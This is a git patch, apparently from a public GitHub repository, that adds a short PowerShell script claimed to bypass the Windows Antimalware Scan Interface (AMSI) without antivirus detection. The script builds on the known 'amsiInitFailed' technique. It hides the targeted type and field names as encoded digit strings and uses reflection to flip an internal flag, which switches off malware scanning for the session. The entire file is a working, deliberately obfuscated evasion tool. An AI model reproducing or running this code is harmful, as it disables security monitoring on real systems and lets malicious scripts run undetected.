From c849bfba811bad61089c09cdf7cd96198184e599 Mon Sep 17 00:00:00 2001
From: "Norbert Tihanyi, Phd" <62064939+tihanyin@users.noreply.github.com>
Date: Fri, 8 Oct 2021 21:54:00 +0400
Subject: [PATCH] Create AMSI_bypass_2021_09.ps1

---
 AMSI_bypass_2021_09.ps1 | 9 +++++++++
 1 file changed, 9 insertions(+)
 create mode 100644 AMSI_bypass_2021_09.ps1

diff --git a/AMSI_bypass_2021_09.ps1 b/AMSI_bypass_2021_09.ps1
new file mode 100644
index 0000000..805bfe2
--- /dev/null
+++ b/AMSI_bypass_2021_09.ps1
@@ -0,0 +1,9 @@
+#Twitter: @TihanyiNorbert  (No AV detecetion 2021 October)
+#Based on the original work of  Matt Graeber @mattifestation 'amsiInitFailed' script.
+$A="5492868772801748688168747280728187173688878280688776828"
+$B="1173680867656877679866880867644817687416876797271"
+[Ref].Assembly.GetType([string](0..37|%{[char][int](29+($A+$B).
+substring(($_*2),2))})-replace " " ).
+GetField([string](38..51|%{[char][int](29+($A+$B).
+substring(($_*2),2))})-replace " ",'NonPublic,Static').
+SetValue($null,$true)